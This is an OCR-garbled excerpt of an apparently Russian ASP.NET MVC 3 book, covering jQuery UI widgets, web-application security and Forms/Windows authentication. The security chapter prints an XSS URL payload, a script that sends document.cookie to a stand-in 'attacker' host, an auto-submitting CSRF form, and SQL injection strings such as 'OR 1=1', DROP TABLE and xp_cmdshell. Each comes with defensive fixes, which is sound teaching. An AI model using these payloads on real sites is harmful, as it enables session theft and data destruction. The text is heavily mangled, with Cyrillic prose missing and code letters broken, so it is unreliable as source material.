$ ( '<td/>')
.insertAfter('td:nth-child(2)')
.each (function () (
$ (this).text((parselnt($(this).p r e v ().t e x t ()) * 3 . 2 8 ) . toFixed(0));
))
. a ddClas s( ' hei gh tF t1);
$ ( 1< b u t t o n > T o g g l e F e e t < / b u t t o n > ' ) . i n s e r t A f t e r ( ' f o r m [ a c t i o n $ = " / R e s e t S u m m i t s " J ' )

. c s s ( ' float', 'l eft')


. c s s ( ' ma r g i n ' , ' 5px' )
. c l i c k (function () {
$('.heightFt').toggle();
)) ;
}) ;
</script>
, th td
heightFt. button, ,
click,
.
, , .
, heightFt, toggle.
, jQuery , , .
. 20.10.
toggle , jQuery
. fadeToggle,
.
. 20.11.

20. jQuery

589

. 20.10.

20.11. jQuery-

f a d e l n ()

fa d e O u t O

'

fa d e T o O

fa d e T o g g le O

h i d e ()

s h o w ()

s lid e D o w n O

s lid e T o g g l e O

s lid e U p O

to g g le d

,
,
, .
. jQ uery a n im a t e ,

CSS . jQuery API.

jQuery Ul
JavaScript .
jQuery UI
, jQueiy
jQueiy.
JavaScript UI jQuery UI -

.
jQueiy UI ,
,
, , ,

590

II. ASP.NET MVC 3

. jQuery UI
. ,
h t t p : //jq u e r y u i . com: , /Query U I
(Dan Wellman), Packt Publishing.

jQuery Ul
jQuery UI MVC Framework,
. jQ u eiy UI,
CSS-, .
jQuery, ,
, .
20.19 ,
~/views/Shared/_Layout.cshtml.

20.19. jQuery Ul CSS-


< ! DOCTYPE html>
<html>

<head>
< t it le > @ V ie w B a g .T it le < / t itle >
< lin k h re f= "@ U rl.C o n te n t( "-/ C o n te n t/ S ite . c s s " ) "
r e l= " s t y le s h e e t " ty p e = "te x t/ c s s " />
<script

src="@ U rl.C on ten t("'/ S c rip ts / jq u e ry -1 .5 .1 .m in .js " )"


typ e="text/javascript"></script>

< s c r ip t s r c = " @ U r l.C o n te n t (" - / S c r ip t s / jq u e r y - u i.m in .js " )"


ty p e" text./ j ava
">-?,/ o rip
Clink href="0Url.Content("'/Content/themes/base/jquery-ui.CSS")"
rel="stylesheet" type="text/css" />
</head>
<body>

@ R enderBody()

</body>
</html>
, .. jQuery UI C S S - .
jQ uery , jg u e ry UI
jQuery.

Them eRoller
D /Query Ul , ,

, jQuery Ul. jQuery Ul ThemeRoller,


h t t p : / / j q u e r y u i . c o m / t h e m e r o l l e r , .
jQuery Ul, ,
, .
, ;
, CDN.

_______________________ _

20. jQuery

591


jQuery UI
, ,
H T M L -. 20.20.

20.20. jQuery Ul
<script ty p e= "te xt/jav ascr ip t">
$ (document). ready(function () {
$ ( 1t a b le ') . ad dC lass( 1summitTable' ) ;
S (1t r :e v e n ') .c s s ('background-color1, 'silver');
$ ( ' <th>Height (ft)< /th>') . insertAfter( ' th:nth-child( 2 ) ' ) . addClass("heightFt");
$ ('< td / > ')
. in s e r t A ft e r ( ' t d : nth- child( 2 ) ')
.each (function () {
$ ( t h i s ) .t e x t ( (parselnt( $ (th is ) .p r e v () . text ()) * 3 .2 8 ) .t o F i x e d ( 0 ) ) ;
))
. addClass( ' h eigh tF t' ) ;
5 ( '<button>Toggle Feet</button>' ) . insertAfter( ' form[action$="/ResetSummits"]')
, c l i c k (function () (
$ (' . h eigh tF t' ) . toggle ();
}) ;
$('a, :submit').button().c s s (float', 'lef t ').c s s ('margin', '5px');
}) ;
</script>
, jQuery UI
j Query.
() submit. button,
jQuery UI, . 20.11.

. 2 0 .1 1 . jQuery Ul
, button
. , , , .. ,
H T M L -,
.

592

II. ASP.NET MVC 3

. , ,
jQuery Ul. , .
jQuery Ul
ThemeRoller .


,
jQuery UI jQueiy, ,
, , .
,
.
HTML- ,
. 2 0 .2 1 .
20.21. ,
< / t a b le >

<label id="min">5000</label>
< d iv

id = "s lid e r"X / d iv >

<label id="max">9000</label>
<div style="clear:both" />
@ H t m l. A c t i o n L in k ( " A d d " , "AddSummit")
0 u s i n g (H t m l. B e g i n F o r m ( " R e s e t S u m m i t s " , "Home"))
-cinput t y p e = " s u b m it " v a l u e = " R e s e t " />

}
, ,
j Q u e i y j Q u e i y UI HTML-,
. l a b e l ,

, d iv , jQ uery UI
. , d i v
.
. 20.22.
20.22.
< s c r ip t t y p e = " t e x t / ja v a s c r ip t >
$ (d o cu m e n t). r e a d y ( f u n c t i o n

()

$ ( ' t a b l e ') . a d d C l a s s ( ' s u m m i t T a b l e 1) ;


$ ( ' t r : even 1) . c s s ( ' b a c k g r o u n d - c o l o r ',

' s i l v e r ');

$ ( ' <th>Height ( f t ) < / t h > ' ) . i n s e r t A f t e r ( ' t h : n t h - c h i l d ( 2 ) ' ) . a d d C l a s s ( " h e i g h t F t " ) ;


$ ( ' <td/> ' )
. i n s e r t A f t e r ( t d : n t h - c h i l d (2 )')
. e a c h ( f u n c t i o n () (
$ ( t h i s ) . t e x t ( ( p a r s e l n t ( $ ( t h i s ) . p r e v () . t e x t () ) * 3 . 2 8 ) . t o F i x e d ( 0 ) ) ;

0
.a d d C la ss( ' h e ig h tF t') ;
$ ( ' <button>Toggle Fee t< /b u tto n > ') . i n s e r t A f t e r ( ' fo rm [ac tio n $= " /R esetSu m m its"]')
. c l i c k ( f u n c t i o n () {
$ ( ' . h e i g h t F t ') . t o g g l e ( ) ;

}) ;

20. jQuery
$ ( ' ,

: subm it') .b u tto n ( ) . c s s ( ' f l o a t ',

' l e f t ' ) . c s s ( 'm a rgin ',

593

'5 p x ') ;

$ ( 1#slider').s lid e r ({
range: tr u e ,
min: 5000,
max: 9000,
values: [5000, 9000],
s lid e :

fu n c tio n

(e v e n t, u i)

$('# m i n ').text(ui.values[0]);
$('# m a x ').text(ui.val u e s [1]);
$('tbody t r 1).each(function () {
var height = parselnt($('td:eq(l)', thi s ) .text ());
if (height < ui.values[0] || height > ui.values[1]) {
$ (th is ) .h id e () ;

} else (
$ ( t h i s ) . s h o w () ;

)
)) ;
$('t r :visible:e v e n ').c s s ('background-color', 'silver');
$('t r :visi b l e :o d d ').c s s ('background-color', 'transparent');
}
}) ;
)) ;

</s c r ip t>
jQ uery UI d iv,
, s lid e r , .
,
. range
tru e.
min max,
valu es. ( ) - jQuery UI.
s l i d e ,
.
UI. ,
. ,

$ ( ' #min' ) , t e x t ( u l . v a l u e s [ 0 ] ) ;
$ ( ' #max' ) . t e x t ( u i . v a l u e s [1 ] ) ;
v a lu e s u i ,
,
20.21. , ,
.
:
$ ( 1t b o d y

t r ' ) .e a c h (fu n c tio n

()

va r h eig h t = p a r s e ln t ( $ ( ' t d : e q (1) ', t h is ) . t e x t ( ) ) ;


i f (h e ig h t < u i.v a lu e s [0 ] || h eigh t > u i.v a lu e s [1 ] )
$ (this) .hide ();
} else {

$ ( t h i s ) . show( ) ;

)
});

594

II. ASP.NET MVC 3

tr , ,
each , .
, ,
show. , hide, .
. ,

,
. jQuery- ,
jQuery API.

:
$ ( 1t r :v i s i b l e : e v e n ' ) . c s s ( ' b a ck g ro u n d -colo r1, ' s i l v e r ' ) ;
?('t r :visible:o d d ') .css(1background-color 1, 'transparent');

, ,
. ,
. ,
,
.
, ,
HTML-, (. 20.12).

. 20.12. jQuery Ul

jQuery jQuery UI , ,
.
,
h t t p : / / jq u e r y . com h t t p : / / jq u e r y u i . com,
API-.


ASP.NET V 3

ASP.NET MVC 3 Framework. ,


.
.
, ASP.NET MVC 3

-.

21

-
-
HTTP. -
: (XSS), (CSRF)
SQL- ,
.
MVC Framework
HTTP- HTML- .
,
HTTP- (, -
), -.
,
, MVC Framework.
, , .
MVC Framework.

! -.

13 ( [ A u t h o r i z e ] ) 22 ( ASP.NET
).


,
, .
, ".
?
URL- (
, (..
).

R e q u e s t . Q u e r y S t r i n g [ ] ).

R e q u e s t . Form

[ ],

-.
HTTP- (
U rlR eferrer).

R equest. UserAgent

Request.

21.
, , , <

597

KK&QTO

- ^ " HTTP?).
, - ;
, , cookie-
.

HTTP?
, , -, ,
, HTTP- GET POST,
cookie-
-. , .

get

- w w w .e xa m p le.co m / pa th / res ou rc e,
DNS- IP- www. e x a m p le . com, TCP- 80
:
GET /path/resouVce HTTP/1.1
Host: www.example.com
[ ]
, , ,
. - :
/1.1 200
Date: Wed, 31 Mar 2010 14:39:58 GMT
Server: Microsoft-IIS/6.0
Content-Type: text/plain; charset=utf-8
<HTML>
<B0DY>
I say, this is a <i>fine</i> web page.
</B0DY>
</HTML>

post

cookie-

POST . ,

.. , HTTP-.
-:
POST /path/resource HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 Firefox/2.0.0.12
Accept: text/xml,application/xml,*/*;q = 0 .5
Content-Type: application/x-www-form-urlencoded
Referer: http://w w w .example.com/somepage.html
Content-Length: 45
Cookie: Cookiel=FirstValue; Cookie2=SecondValue
firstFormField=valuelSsecondFormField=value2
/,
in p u t form. , - /, .
cookie- .
, cookie-
, .

598

III. ASP.NET MVC 3

-
D O S - telnet -. 80 ,
telnet w w w . e x a m p l e . c o m 80. H TTP-
, H T M L -
. , -
cookie-.
. Windows Vista Windows 7 telnet .
C ontrol P a n e lo P ro g ra m s and F eatu res^T urn
W indow s fe a tu re s on o r o ff^ T e ln e t C lient ( ^
W indow s^ Telnet).
HTTP- , , .
- .
Fiddler, .
-,
Fiddler, . Fiddler
, ,
. , .
Fiddler -
w w w .f i d d l e r 2 .c o m .
, -
- isAdmin (
true false). :
Fiddler cookie,
, . 21.1.

. 2 1 .1 . - Fiddler

21.

599

POST,
Request .UrlReferrer.
Fiddler
HTTP, .
Firebug Firefox (
Chrome). ,
JavaScript.
(DOM) . , ,
, , ,
JavaScript.
Web Developer Toolbar Firefox.
cookie-
.
Internet Explorer Google Chrome ,
DOM CSS, ,
.
HTTP- ,

, ,
-. (
ASP.NET MVC),
.
22.

HTML-
,
HTTP-, ,
.

-. :
- JavaScript-,
.
HTML DOM,
,
- .
( )

.
,
,
.
.
- (,
) ,
, .
( )
,
. ,
.

600

III. ASP.NET 3

. XSS-,
HTTP-, DNS . .

XSS-
8 CartController Index,
returnUrl. CartindexViewModel,
.
:
< href="@Model.ReturnUrl">Continue shopping</a>
XSS.
returnUrl,
returnUrl,
. , URL-
21.1.

21.1. URL, XSS


http:/ /yoursite/ C art/ Ind ex?retu rn U rl= "+onm ou sem ove= "alert('XSS!')"+
s t y l e = " p o s i t i o n : a b s o l u t e ; l e f t : 0 ; t o p : 0 ; w id th :100%;h e i g h t :100%;
, URL
, , . , ,
URL URL ( t i n y u r l .com)
. , ,
, ,
.
- returnUrl?
, . 21.2
anchor,
URL.

21.2. HTML- a n c h o r
< href="" onmousemove="alert('XSS!')" style="position:absolute;left:0;top:0;
width: 1 0 0 % ; height:1 0 0 % ; "> </>
To ,
.
, ,
.
!

URL. (,. p o s t ) :
-, form,
POST, -
.

21.

601

- , , ,
, -.
-, HTML-,
.

, (,
..)

HTML Razor
, .
Razor XSS-, ,
, 0,
. , URL, 21.1,
Razor r e tu r n U r l ,
JavaScript- , 21.3.

21.3.
< href="&quot; onmousemove=&quot;alert(&#39;XSS!&#39;)Squot; style= & qu ot;position :
a b s o l u t e ; l e f t : 0 ; t o p : 0 ; w id th :100%;h e ig h t :100%;"> </>
HTML ,
. Razor ,
Mv c H t m l S t r i n g , . 21.4 ,
H tm l. Row
returnUrl - .

21.4. HTML M v c H t m l S t r i n g
< h ref="@ H tm l.Raw(Model. R etu rn U rl) "> </>
;
, .
. HTML-,

, .
,
, .
. HTML
Agility Pack (h t t p : / / h t m l a g i l i t y p a c k . c o d e p l e x . c o m / ),

C SS- .. HTML - ,
, ..
(, CSS- src <img>).
, ,
XSS Cheatsheet" (http : //ha .ckers .org/xss .html).


ASP.NET ,
ASP.NET.
, - .

602

III. ASP.NET MVC 3

, HTML-,
ASP.NET . , MVC
Framework, .
. 21.2, <Joe>
form.

. 21.2. ,

, .
, ,
. ,
, HTML, .
, I'm w r i t i n g C# code with
generics, e.g., List<string>, MVC-
, , .
! , ,

. ,
,
, .


.
A l l o w H t m l ,
21.5.

21.5. A llo w H tm l
public class Appointment {
[AllowHtml]
public string ClientName ( get; set; }
[DataType(DataType.Date)]
public DateTime Date { get; set; }
public bool TermsAccepted { get; set; }
}

21.

603

ClientName Appointment,
.

. Validatelnput
, 21.6.

21.6. V a l i d a t e l n p u t
[Validatelnput(false)]
public class AppointmentController : Controller {
private IAppointmentRepository repository;
public AppointmentController(IAppointmentRepository repo)
repository = repo;

}
public ViewResult MakeBooking() {
return View(new Appointment { Date = DateTime.Now });

>
[HttpPost]
public ViewResult MakeBooking (Appointment appt)
if (ModelState.IsValid) (
repository.SaveAppointment(appt);
return V i e w ("Completed", appt);
} else

return V i e w ();

}
}
}
false
. , ,
, .
V a l i d a t e l n p u t
, 21.7.
,
.

21.7. V a l i d a t e l n p u t
public class AppointmentController : Controller {
private IAppointmentRepository repository;
public AppointmentController(IAppointmentRepository repo)
repository = repo;

1
public ViewResult MakeBooking() (
return View(new Appointment { Date = DateTime.Now });

)
[Validatelnput(false)]
[HttpPost]
public ViewResult MakeBooking(Appointment appt)
i f (ModelState.IsValid) {
repository.SaveAppointment(appt);
return V i e w ("Completed, appt);
) else {
return V i e w ();

)
}

604

III. ASP.NET MVC 3

Validatelnput
.
.
,
.

JavaScript- XSS-
J avaScript - ,
. , JavaScript HTML
-. 21.8 ,
.

21.8. , ,
Smodel string

@{
ViewBag.Title = "Search";

<h4>Results</h4>
<ul id="results"x/ul>
<script type="text/j avascript">
$ (function () {
//
var searchTerm = "0Model";
$.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback^?",
( q: searchTerm, v: "1.0" },
function (searchResults) {
// <ul> <li>
$("#results").children().remove();
$.each(searchResults.responseData.results, function () {
$ ("#results") ,append($("<li>") .html(this.title));

}) ;
}
);
}) ;
</script>

, ,
Google. Razor
XSS-.
,
, .
.NET res s , ,
".NET" A p r e s s ( ), .
Razor &quo t ; ,

var searchTerm = "&quot;.NET&quot; Apress";

JavaScript squot;
Google,
(. 21.3).

21.

605

. 21.3.
? HTML ,
. ,
, . A ja x ,
19, J a v a S c rip tS tr in g E n c o d e
, ,
JavaScript.
21.9.

21.9. JavaScript
gmodel s t r in g
&{
V i e w B a g .Title = "Search";

}
<h4>Results</h4>
<ul id = " r e s u lt s " x / u l>
< s c r ip t t y p e = " t e x t / ja v a s c r ip t ">
$ ( fu n ction () {
// -
var searchTerm = "@Html.Raw(Ajax.JavaScriptStringEncode(Model))";
$.g e t J S O N ("h t t p :/ /aj a x .g o o g l e a p i s .com/aj ax/services/search/web?callback=?" ,

{ q: searchTerm, v : "1 .0 " },


fu n ctio n (sea rch R esu lts) {
// <ul> < li>
$ ( " # r e s u l t s " ) . c h ild r e n ( ) . rem ove( ) ;
$ .e a c h (s e a rc h R e s u lts . responseD ata. r e s u lts , fu n ctio n () {
$ ( " I r e s u l t s " ) .append( $ ( " < l i > " ) . h t m l(t h is . t i t l e ) ) ;
)) ;
}
);
)) ;

</ scripts , A ja x
Html .Raw. Razor ,
. " .NET" A p re ss
:
var searchTerm - "\".NET\" Apress";

606

III. ASP.NET MVC 3


X S S -,
.
, (ses
sion hijacking) cookie- (cookie stealing).
6 pay 3 epaASP.NET cookie ( ASP .NET_SessionId).
cookie-
( . ASPXAUTH).
,
, . ,
cookie-, , ..
-
JavaScript- .
, ,
-
. :
<script>
var img = document.createElement("IMG");
img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie);
document. body. appendChiId(im g);
</script>
X S S -,
, .
.

IP-
IP- ,
, IP-.
.
,
,
IP- .
, ,
IP-.
H TTP- - ,
IP-.
IP- ,
, .
.

H t t p O n ly cookie-
2 0 0 2 . Microsoft Internet Explorer
: - HttpOnly.
.
: - HttpOnly,
JavaScript-, HTTP-.
X S S -,
cookie- .

21.

607

: - HttpOnly,
- ( )
JavaScript . ASP.NET HttpOnly
A S P .NET_Sessionld .ASPXAUTH,
.
cookie- :
Response.Cookies.Add(new HttpCookie("MyCookie")

{
Value = "my value",

HttpOnly = true

}> ;
-,
cookie- - .
, ,
HTTP-, ,
cookie- .

- XSS -
( ) CSRF (Cross-Site Request
Forgery ).
, . -,

UserProfileController:
p u b l i c class U s e r P r o f i l e C o n t r o l l e r : Controller {
public V i e w R e s u l t Edit() {
//
var u s e r P r o f i l e = G e t E x i s t i n g U s e r P r o f i l e ();
return V i e w ( u s e r P r o f i l e ) ;

}
[HttpPost]
public A c t i o n R e s u l t E d i t ( s t r i n g email,

string hobby)

// .
// , ,
var u s e r P r o f i l e = GetExistin g U s e r P r o f i l e ();
u s e r P r o f i l e .Email = email;

userProfile.Hobby = hobby,
SaveUserProfile(userProfile);

return RedirectToAction("Index", "Home");

}
p r i v a t e U s e r P r o f i l e GetE x i s t i n g U s e r P r o f i l e () ( /* */ }
p r i v a t e v o i d S a v eU s e r P r o f i l e ( U s e r P r o f i l e profile) { /* */ )

>
Edit () ( ),
<form> ,
Edit () POST. Edit ()
. XSS- .

.
. , , -

608

III. ASP.NET MVC 3

, ,
- :
<body onload="document.getElementByld('f m l 1) .submit ()">
<form id="fml" action="h t t p ://yoursite/UserProfile/Edit" method="post">
<input name="email" value="hacker0somewhere.evil" />
<input name="hobby" value="Defacing websites" />
</form>
</body>

,
Edit () POST .

- -
-, ,
, .
- .


, .

,
POST Ajax (.. XMLHttpRequest).
, , ,
- -.
, , ,
, ?

CSRF- .
HTTP- Re fere . -
, -
URL HTTP-, Referer ( ASP.NET
R e q u e s t .UrlReferrer).
, .
(
H T T P - E Q U I V = " r e f r e s h " ) ; ,
.
.
, - ,
. , ,
,

( ).
.
, ,
, ,
, . MVC Framework
.

CSRF Antiforgery
CSRF
Html .AntiForgeryToken () [ValidateAntiForgeryToken] .

21.

609

- HTML-, Html .AntiForgeryToken ().


, :
Susing(Html.B eginForm()) {
@Html.AntiForgeryToken()
< !--

>

:
<form action="/UserProfile/Edit" method="post" >
<input name="__RequestVerificationToken" type="hidden" value="B0aG+C>+Bi/5. .." />
< !

- - >

</form>

Html .AntiForgeryToken () cookie-Hadop


, __ RequestVerificationToken.
, ,
.
,
[ValidateAntiForgeryToken]. :
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(string email, string hobby)
{
/ /

}
[ValidateAntiForgeryToken] , ,
Request . Form __ RequestVerificationToken.
- ,
. , { a required antiforgery token was not supplied or was invalid
), .
CSRF, ..
-__ R e q u e s t V e r i f i c a t i o n T o k e n ,
.
,
. MVC Framework
.

c o o k ie -H a 6 o p a ,
.
.
H t m l .AntiFor g e r y T o k e n () path
domain HTTP cookie-, , URL -. , path,
c o o k ie -H a 6 o p ,
( ).
__ R e q u e s t V e r i f i c a t i o n T o k e n
( cookie-Ha6ope), .
,
( H t t p C o n t e x t .U s e r .I d e n t i t y .Name,
). [ValidateAntiForgeryToken] ,
20 .

4039

610

III. ASP.NET MVC 3

.
, - (
) cookie-
.
CSRF ,
.
cookie-.
[ValidateAntiForgeryToken] .
, POST, GET.
,
HTML, , GET
(.. - , ,
). 11.
, - XSS-.

__R e q u e s t V e r i f i c a t i o n T o k e n
. XSS-!

SQL-
, SQL. ,
:
[HttpPost]
public ActionResult Login(string username, string password) {
string sql = string.For m a t (
"SELECT 1 FROM [Users] WHERE Username= 1{0 } 1 AND Password^ '{1} '" ,
u s e rn a m e ,

p a s s w o rd );

// ,
// SQL-
DataTable results = MyDatabase.ExecuteCommand(new SqlCommand(sql));
if (results.Rows.Count > 0) {
//
FormsAuthentication.SetAuthCookie(username, false);
return RedirectToAction("Index", "Home");
} else {
TempData["message"] = " . ";
return RedirectToAction("LoginPrompt");

}
}

SQL- (
).
username password,
, b l a h ' OR 1=1
..
SELECT 1 FROM [Users] WHERE Username=1anyone' AND Password='blah' OR 1=1 '

, , u s e r n a m e password,

DROP TABLE [Users] , ,


EXEC xp_cm d s h e l l
' format : ' . SQL
Server , .

21.

611


SQL Server,
.
,
#-. :
string q u e r y = "SE L E C T 1 F R O M [Users]
WHERE Username=@username AND P a s s w o r d = @ p w d ";

SqlCommand command = new SqlCommand(query),


co m m a n d . P a r a m e t e r s . A d d ( " S u s e r n a m e " , SqlDbType.NVarChar, 5 0 ) .Value = username;
c o m m a n d . P a r a m e t e r s . A d d (" @ p w d " , S q l D b T y p e . N V a r C h a r , 5 0 ) .Value = password;
D a t a T a b l e r e s u l t s = M y D a t a b a s e . Exe cute C om mand(comm and);

,
,
SQL.

-
t
SQL
,
. , -
,
.

- (Object-Relational Mapping ORM), Entity
Framework (. 7), .
- , Entity SQL
SQL .

MVC Framework
, -,
ASP.NET MVC. ,
MVC-,
, MVC Framework.


,
,
. , . ,
C h a n g e ( ) :
pub l i c class P a s s w o r d C o n t r o l l e r : C o n t r o l l e r {
public ActionResult Change (string oldpwd, string newpwd, string newpwdConfirm)
{
s t r i n g usern am e - H t t p C o n t e x t . U s e r . I d e n t i t y . N a m e ;

//
if ((newpwd == newpwdConfirm) && MyUsers.VerifyPassword(username, oldpwd))
DoPasswordChange(username, newpwd);
// ... ...
}

612

III. ASP.NET MVC 3

public void DoPasswordChange(string username, string newpassword) {


//
User user = MyUsers.GetUser(username);
user.SetPassword(newpassword);
MyUsers.SaveUser(user);
}
)
( )
DoPasswordChange () public ( ,
), .
DoPasswordChange ()
.
,
, ..
, .
, ,
[NonAction]:
[NonAction]

public void DoPasswordChange(string username, string newpassword) (


/* */
)
[N onAction] MVC Framework
.
.


17,
. ,
, ,
,
.
, Booking,
D iscou n tP ercen t,
URL ?D iscountPercent=100 .
[Bind] ,
, :
public ActionResult Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking)
{
// ... .. ...
}
: [Bind]
, .
17.

, HTTP-
. ,
. ,
, ,
.

2 2


MVC Framework AS . N ', , , ASP.NET
.NET Framework IIS. - ASP.NET .NET;
, .
ASP.NET ; ,
, ,
MVC Framework. MVC
, Microsoft ASP.NET 4.0 C# 2010
, 4- . ( , 2011 .)

Windows
, -.
, ,
- - .
. ASP.NET
,
, .
- IIS (, ,
). Windows W e b . c o n f i g
. . 22.1. ASP.NET MVC
Intranet Application, Visual Studio
.

22.1. Windows
c c o n f i.guration>
< sy stem .w e b>

Au t h e n t i c a t i o n mode="Windows" />
</system.web>
< /co nfigu ratio n>

Windows
. -,
: ,

614

III. ASP.NET MVC 3

Windows,
Active Directory. -,
, 9
, .
Windows
IIS. ,
. 22.1.

22.1. IIS


; IIS 7

,
; ,
,

SSL-

, ,

-. ,
, ,

Windows


Windows,
. ,

.
,
.
,
,

A u th e n tic a tio n
IIS. - Authentication
(), IIS.
, . 22.1.

. 2 2 .1 . IIS

22.

615

- ,

.
, Anonymous Authentication,
, 13.
- ,
Server Manager Add Role Services ( )
Web Server (IIS) Role ( - (IIS)).
S e c u rity (), . 2 2 .2 .

. 22.2. -
Windows ( , IIS)
,
.
,
.
,
. -
Windows, Windows
. ASP.NET-
.


(Forms Authentication)
, .
Windows,
.

cookie- . ASPXAUTH.
cookie-Ha6opa ( , Fiddler, cookie ), - , 22.2.

616

III. ASP.NET MVC 3

2 2 .2 . co o kie-

ASPXA UTH

95027466247 0 98 6 A D D6907 0 4 B F 6 5 2 F 4 D F F C 3 0 3 5 F C 1 901372 6A22F7 94355877812F7 99


8 5 2 B 2 E 8 4 D 3 4 D 7 900 9DA2 5 80007 6277 9 A F9 F C A 3A D4 B 7 8 6 6 1 8 0 0 B 4 1 1 9 D D 7 287 935AAF7
E309CD81F28
F o r m s A u t h e n t i c a t i o n .Decrypt,
F ormsAuthenticationTicket , . 22.2.

22.2. cookie-

Name

string

Admin

CookiePath

string

Expiration

DateTime

3/20/2011 12:38:54 PM

Expired

bool

False

IsPersistent

bool

False

IssueDate

DateTime

3/18/2011 12:38:54 PM

UserData

string

( )

Version

int

S p o r t s S to r e , .

, - Name. ,
, .
, c o o k i e - H a 6 o p a
. IIS, ,
-,
, .

. , ,
,
, cookie-Ha6op ( ),
.
Machine Keys IIS Manager ( ASP.NET).


Framework
A p p l i c a t i o n , Visual Studio
. 22.3
in t e r n e t

W e b .config.

22.3. W eb. c o n f ig
<authentication mode="Forms">
<forme loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>

22.

617

,
f o r m s W e b . c o n f i g .
. 22.3.

22.3. form s W eb. c o n f i g

n am e

.A S P X A U T H

c o o k ie -,

tim e o u t

30

( ),
-
.
, :
c o o k ie -

slid in g E x p iratio n

true

t r u e , ASP.NET

.
t i m e o u t

d o m a in

None

, co o kie .

c o o kie -
(..
w w w . e x a m p l e . com ,
. e x a m p l e . co m
c o o k ie -
e x a m p l e . c o m

path

, c o o k ie -
URL .

,
c o o kie -

lo ginU rl

/l o g i n . aspx


,
URL

co o k ieless

U se D e v ic e P ro file

co o kie

req uireSSL

false

t r u e ,

- ,

,
SSL

r e q u i r e S S L , co o kie - SSL- .
,
, 21.

618

III. ASP.NET 3

W e b .config
Authentication IIS Manager.
, Windows.
, ,
Edit (), , . 22.3.

. 22.3. IIS Manager



W e b .config ,

, [Authorize] ( ,
HttpUnauthorizedResult), U R L
.


, UR L
. 404-Not Found.
.
1. .
2. , .
3. .
4. , FormsAuthentication. SetAuth
Cookie (), c o o k ie -H a 6 o p .
.
5. ,
.
9
SportsStore. ( ,
M V C 3 Internet Application
AccountController.)

22.

619

cookie-

cookie-
URL, cookie-. ,
URL-. , ,
, ,
cookie-.
-
, - . ,
,
cookie-. , W e b . c o n f i g
-, 22.4.

22.4. cookie-
A uthentication

m ode="Forns">

<forms loginUrl="~/Account/LogOn" timeout="2880" cookieless="UseUri">


< / forms>
< /auth entication >

URL
/ (F(nM D9DiT4 64AxL7niQ ITYUTT05ECN IJlEG w N4CaAKKze- 9ZJqlQ TOKOvhXTxOfW R jAJdg
SYojOYyhDiiHN4SRb4 f g G V c n _ f n Z U 0 x 5 5 I3 _ J e s l ) ) /H o m e/S h o w P riv atelnfo rm a tio n

URL-
/ ( F ( )) / !

-
. URL- ,
,
HTML URL .
-.
, , .
:
, ,
. , . -
URL
, . ,
,
R e f e r e r . , , . URL-,
URL cookie-, , .

,
S p o r t s S t o r e
,
.
. , W e b . c o n f i g ,
, , ,
- ( , - ,
Google :
).
W e b . c o n fig .

620

III. ASP.NET MVC 3

. W e b . config
,
.
: IIS
Web. config. ,
.
, ASP.NET
,
, ,
. .

(,
) , .
(
, ).
ASP.NET
,
. ,
, SQL Server Active Directory.
,
.
Microsoft
, ,
. API- (
)
.

. ,
API-,

.
API- ASP.NET

.
ASP.NET.
, User. IsInRole
.
, , .
SQL
,
- -
ORM.
SQL
, .
-, ASP.NET
, MVC-,
.

22.

621

, API-, ..
ASP.NET. ,
, .


SQLServer (SqlMembershipProvider)
Active Directory (ActiveDirectoryMembershipProvider).
, SqlMembershipProvider.
, Oracle, NHibemate XML, .
. MVC Framework .
13.

SqlMembershipProvider
MVC- I n t e r n e t A p p l i c a t i o n ,
Visual Studio
S q lM em b e rsh ip P ro vid er. 22.5
W eb .c o n fig , .

22.5.
<configuration>

< co n n ection S trin gs>


<add n a m e="A pplica tion S ervices"
co n n ectio n S trin g = "d a ta s o u r c e * .\SQLEXPRESS;In te g r a te d S ecu rity= S S P I;
A ttachD BFilenam e=|D ataD irectoryIaspnetdb.m df; User In sta n ce= tru e"
providerNam e="System .D ata. S q lC lie n t" />
</co n n ectio n S trin gs>
<system.web>
< m e m b e r s h ip >

<providers>
<clear/>

O d d name="AspNetSqlMembershipProvider"
typ e= "S ystem .W eb .S ecu rity. SqlM em bershipProvider"
c o n n ectio n S trin gN a m e= "A p p lica tion S ervices"
e n a b le P a s s w o rd R e trie v a l= "fa ls e "
en ablePassw ordR eset="tru e"
requ iresQ u estion A n dA n sw er="false"
re q u iresU n iq u eE m a il= "fa ls e"
m aKlnvalidPasswordAttem pts="5"
m inRequiredPasswordLength="6"
m inRequiredNonalphanum ericCharacters="0"
passwordAttemptWindow="10"
application N am e= "/ " />
</provid ers>
</membership>
</system.web>

</configuration>

622

III. ASP.NET MVC 3

E m p t y ,
.

SqlMembershipProvider SQL Server Express


SQL Server Express
. ,
. SQL Server Express,
.m df- ( ,
). ,
SQL Server Management Studio,
,
.
,
22.5. , Visual Studio Web.
config, , U s e r Instance true SQL Server Express
aspnetdb.mdf. |DataDi r e c t o r y |
, App_Data.
ASP.NET
, .
. , Visual Studio, , SQL Server
Express , . ,
, data source.
, TITAN,
data s o u r c e = .\SQLEXPRESS data source=TITAN\SQLEXPRESS.

SQL Server
SQL Server ( Express)
,
, , .
ASP.NET SQ L Server Setup
Wizard. a s p n e t _ r e g s q l . e x e , .NET
Fram ew ork ( \ U s e r s \ y o u r N a m e \ W i n d o w s \ M i c r o s o f t , N E T \ F r a m e w o r k \ v 4 . .30319
32- \ U s e r s \ y o u r N a m e \ W i n d o w s \ M i c r o s o f t .N E T \ F r a m e w o r k 6 4 \
v4 .0 .30319 64-).
N ext (), .
Configure S Q L Server for application services ( SQL
Server ). Next, ,
. 22.4.
SQL Server ( SQL E xpre ss,
) ,
. Database ( ) <default> (
). , aspnetdb.
Next,
.
Web. config. , . 22.5,
22.6.

22.

623

. 22.4.
22.6.
<connectionStrings>
<add n a m e = " A p p l i c a t i o n S e r v i c e s "
connectionString="data Source=TITAN\SQLEXPRESS;
Initial Catalog=aspnetdb;
P e r s i s t S e c u r i t y Info=True;
User ID=adam;Password=adam"
p r o v i d e r N a m e = " S y s t e m . D a t a .S q l C l i e n t " />
</connectionStrings>
, ,
, . Visual Studio
Server Explorer ( ),
Data Connections ( ) Add Connection (
).
. , (. 22.5).

. 2 2 .5 . ,

624

III. ASP.NET 3


Membership API
: ,
.. , -
( ),

.

,

- (web site administration tool WAT) .NET Users
( .NIST) IIS.

- (WAT)
WAT,
V is u a l S tu d io . -, ,
V is u a l S tu d io P ro je ctO A S P .N E T Configuration (
